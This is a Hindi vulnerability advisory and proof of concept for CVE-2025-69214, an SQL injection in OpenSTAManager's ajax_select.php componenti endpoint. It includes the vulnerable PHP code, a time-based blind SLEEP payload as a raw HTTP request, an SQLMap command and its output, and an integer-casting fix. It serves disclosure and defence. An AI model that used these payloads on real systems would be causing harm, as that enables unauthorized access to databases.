
CVE-2025-69214 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: OpenSTAManager के ajax_select.php componenti एंडपॉइंट में SQL इंजेक्शन। इसमें कमजोर कोड विश्लेषण, SQLMap के साथ टाइम-बेस्ड ब्लाइंड शोषण, और सुधार मार्गदर्शन शामिल है।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2025-69214 |
| गंभीरता | HIGH |
| परामर्श | परामर्श देखें |
| खोजकर्ता | Lukasz Rybak |
ajax_select.php एंडपॉइंट में componenti ऑपरेशन को संभालते समय SQL Injection भेद्यता मौजूद है। एक प्रमाणित हमलावर options[matricola] पैरामीटर के माध्यम से दुर्भावनापूर्ण SQL कोड इंजेक्ट कर सकता है।
फ़ाइल: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$_GET['options']['matricola'] → $superselect['matricola']IN() क्लॉज में जोड़ा गयामैनुअल PoC (समय-आधारित ब्लाइंड SQLi):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

SQLMap शोषण:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap आउटपुट:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12

SQL में उपयोग करने से पहले मानों को पूर्णांकों में बदलें:
पहले:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
बाद में:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
खोजकर्ता: Łukasz Rybak
यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहां प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।